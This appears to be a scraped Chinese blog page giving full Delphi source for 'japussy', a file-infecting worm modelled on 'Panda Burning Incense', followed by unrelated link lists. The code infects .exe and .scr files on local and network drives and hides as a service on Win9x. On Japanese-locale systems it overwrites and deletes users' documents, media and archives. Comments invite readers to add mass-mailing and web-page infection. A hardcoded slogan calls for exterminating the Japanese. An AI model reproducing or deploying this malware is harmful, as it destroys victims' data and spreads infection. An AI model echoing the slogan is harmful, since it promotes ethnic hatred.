Pascal仿熊猫烧香病毒,慎用

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;             //病毒体的大小
iconoffset = $12eb8;           //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
  
{
headersize = 38912;             //upx压缩过病毒体的大小
iconoffset = $92bc;             //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize   = $2e8;             //pe文件主图标的大小--744字节
icontail   = iconoffset + iconsize; //pe文件主图标的尾部
id       = $44444444;         //感染标记

//垃圾码,以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
        'if a country need to be destroyed, it must be japan! ' +
        '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer; 
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si:     startupinfo;
pi:     process_information;
isjap:   boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
  exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
  result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
  sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
  try
    dstream := tfilestream.create(filename, fmcreate);
    try
    sstream.seek(headersize, 0); //跳过头部的病毒部分
    dstream.copyfrom(sstream, sstream.size - headersize);
    finally
    dstream.free;
    end;
  finally
    sstream.free;
  end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用,退出
  if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
    exit;
  infected := false;
  ispe   := false;
  srcstream := tfilestream.create(filename, fmopenread);
  try
    for i := 0 to $108 do //检查pe文件头
    begin
    srcstream.seek(i, sofrombeginning);
    srcstream.read(buf, 2);
    if (buf[0] = #80) and (buf[1] = #69) then //pe标记
    begin
      ispe := true; //是pe文件
      break;
    end;
    end;
    srcstream.seek(-4, sofromend); //检查感染标记
    srcstream.read(iid, 4);
    if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
    infected := true;
  finally
    srcstream.free;
  end;
  if infected or (not ispe) then //如果感染过了或不是pe文件则退出
    exit;
  icostream := tmemorystream.create;
  dststream := tmemorystream.create;
  try
    aicon := ticon.create;
    try
    //得到被感染文件的主图标(744字节),存入流
    aicon.releasehandle;
    aicon.handle := extracticon(hinstance, pchar(filename), 0);
    aicon.savetostream(icostream);
    finally
    aicon.free;
    end;
    srcstream := tfilestream.create(filename, fmopenread);
    //头文件
    hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    try
    //写入病毒体主图标之前的数据
    copystream(hdrstream, 0, dststream, 0, iconoffset);
    //写入目前程序的主图标
    copystream(icostream, 22, dststream, iconoffset, iconsize);
    //写入病毒体主图标到病毒体尾部之间的数据
    copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
    //写入宿主程序
    copystream(srcstream, 0, dststream, headersize, srcstream.size);
    //写入已感染的标记
    dststream.seek(0, 2);
    iid := $44444444;
    dststream.write(iid, 4);
    finally
    hdrstream.free;
    end;
  finally
    srcstream.free;
    icostream.free;
    dststream.savetofile(filename); //替换宿主文件
    dststream.free;
  end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
  setfileattributes(pchar(filename), 0); //去掉只读属性
  filehandle := fileopen(filename, fmopenwrite); //打开文件
  try
    size := getfilesize(filehandle, nil); //文件大小
    i := 0;
    randomize;
    max := random(15); //写入垃圾码的随机次数
    if max < 5 then
    max := 5;
    mass := size div max; //每个间隔块的大小
    len := length(catchword);
    while i < max do
    begin
    fileseek(filehandle, i * mass, 0); //定位
    //写入垃圾码,将文件彻底破坏掉
    filewrite(filehandle, catchword, len);
    inc(i);
    end;
  finally
    fileclose(filehandle); //关闭文件
  end;
  deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
  d := chr(i + 65);
  str := d + ':\';
  disktype := getdrivetype(pchar(str));
  //得到本地磁盘和网络盘
  if (disktype = drive_fixed) or (disktype = drive_remote) then
    result := result + d;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
  if (searchrec.attr <> 16) and (searchrec.name <> '.') and
    (searchrec.name <> '..') then
    result := 0 //不是目录
  else if (searchrec.attr = 16) and (searchrec.name <> '.') and
    (searchrec.name <> '..') then
    result := 1 //不是根目录
  else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
  repeat
    peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列,避免引起怀疑
    if isvaliddir(searchrec) = 0 then
    begin
    fn := path + searchrec.name;
    ext := uppercase(extractfileext(fn));
    if (ext = '.exe') or (ext = '.scr') then
    begin
      infectonefile(fn); //感染可执行文件     
    end
    else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
    begin
      //感染html和asp文件,将base64编码后的病毒写入
      //感染浏览此网页的所有用户
      //哪位大兄弟愿意完成之?
    end
    else if ext = '.wab' then //outlook地址簿文件
    begin
      //获取outlook邮件地址
    end
    else if ext = '.adc' then //foxmail地址自动完成文件
    begin
      //获取foxmail邮件地址
    end
    else if ext = 'ind' then //foxmail地址簿文件
    begin
      //获取foxmail邮件地址
    end
    else 
    begin
      if isjap then //是倭文操作系统
      begin
        if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
        (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
        (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
        (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
        (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
        (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
          smashfile(fn); //摧毁文件
      end;
    end;
    end;
    //感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑
    sleep(200);
  until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
  repeat
    if isvaliddir(searchrec) = 1 then
    subdir.add(searchrec.name);
  until (findnext(searchrec) <> 0);
  end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
  loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
  isjap := true; //去死吧!
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
  for i := len downto 1 do //遍历每个磁盘驱动器
    loopfiles(driverlist + ':\', '*.*'); //感染之
  sendmail; //发带毒邮件
  sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
  registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
  //远程线程映射到explorer进程
  //哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
  infectfiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
  tmpfile := paramstr(0); //创建临时文件
  delete(tmpfile, length(tmpfile) - 4, 4);
  tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一个空格
  extractfile(tmpfile); //分离之
  fillstartupinfo(si, sw_showdefault);
  createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
    0, nil, '.', si, pi); //创建新进程运行之
  infectfiles; //感染和发邮件
end;
end

 
 

Pascal “熊猫烧香”(骗人的)的更多相关文章

  1. 病毒分析(三)-利用Process Monitor对熊猫烧香病毒进行行为分析

    前两次随笔我介绍了手动查杀病毒的步骤,然而仅通过手动查杀根本无法仔细了解病毒样本的行为,这次我们结合Process Monitor进行动态的行为分析. Process Monitor Process ...

  2. 我大中华微软MVP中国区人才库

    刘海峰:国内知名微软开源技术网站51Aspx 创始人,十年以上的Asp.net从业经验,微软MSDN特约讲师.Teched讲师.ImagineCup大赛评委.人大出版社研修班特约讲师,曾多次受邀访问美 ...

  3. HTML 表

    表格: <table></table> 插入一个表格 <tr></tr> 代表一行 其中插入<td></td>单元格       ...

  4. HTML静态网页 图片热点、框架、表单

    图片热点: 规划出图片上的一个区域,可以做出超链接,直接点击图片区域就可以完成跳转的效果. 示例: 网页划区: 在一个网页里,规划出一个区域用来展示另一个网页的内容. 示例: 框架: 1.frames ...

  5. Hacker Technology

    扒一扒「黑客军团」中用到的黑客工具 黑客 (Hacker) - 知乎 nmap - 百科 NMAP - 官网  中文翻译 Havij sqlmap 熊猫烧香 懒人在思考 零基础如何学习 Web 安全? ...

  6. 【Sharing】如何成为一名黑客

    [声明]此文为转载,只为收藏. 从小到大听说了无数关于“电脑黑客”的故事,比如XXX入侵美国五角大楼,再比如前几年的“熊猫烧香”病毒,这些故事的主角都被我们的媒体称之为“黑客”.其实这些人,更大程度上 ...

  7. HTML——框架

    1.frameset <html> <frameset cols="25%,50%,25%"> <frame src="frame_a.ht ...

  8. HTML静态网页(框架)

    1.frameset frameset最外层,使用时需要去除body改用frameset. <frameset  rows="100,*" frameborder=" ...

  9. 网页制作之html基础学习2-标签

    一.html结构组成 <html> --开始标签 <head> 网页上的控制信息 <title>页面标题</title> </head> & ...

随机推荐

  1. js 流程控制语句

    1.复合语句 2.switch语句 3.do...while语句 4.while语句 5.for语句 6.for...in语句 7.break和continue语句 9.with语句 10.if语句 ...

  2. Windows服务程序时钟调用

    1       大概思路 设计服务程序 创建服务 安装必备组件 编写Service1 运行效果 2       设计服务程序 创建服务程序,通过添加System.Timers时钟进行定时向Wecome ...

  3. CMAKE 安装

    下载 解压  https://cmake.org/download/ https://cmake.org/files/v3.7/cmake-3.7.1.tar.gz yum install gcc - ...

  4. May 7th 2017 Week 19th Sunday

    A chain is no stronger than its weakest link. 链条的坚固程度取决于它最薄弱的环节. The same as the well-known buckets ...

  5. C语言总结的知识点

    什么是有效数字? ------------------------- 数据类型 运算符: 函数: 程序结构: 存储结构 内存管理 关键字: ------------------------- C语言: ...

  6. Node.js与npm安装(转载)

    2009年的JSCOnf大会上,一个叫Ryan Dahl的年轻程序员向人们展示了一个他正在做的项目,一个基于Google V8引擎的JavaScript运行平台,它提供了一套事件循环和低IO的应用程序 ...

  7. 323. Number of Connected Components in an Undirected Graph (leetcode)

    Given n nodes labeled from 0 to n - 1 and a list of undirected edges (each edge is a pair of nodes), ...

  8. 2017.10.13 Java中引用类型变量的创建及使用&循环高级写法

    今日内容介绍 1.引用类型变量的创建及使用 2.流程控制语句之选择语句 3.流程控制语句之循环语句 4.循环高级 ###01创建引用类型变量公式     * A: 创建引用类型变量公式         ...

  9. js获取对象所有的keys

    Js中获取对象的所有key值   假如现在有一个对象 var obj = { A:2 ,B:"Ray" ,C:true ,D:function(){} } 如果想遍历对象obj中的 ...

  10. java获取文件后缀名(正则表达式)+文件名

    String fileName="asadas.jsp"; String reg = ".+(.JPEG|.jpeg|.JPG|.jpg|.png|.PNG)$" ...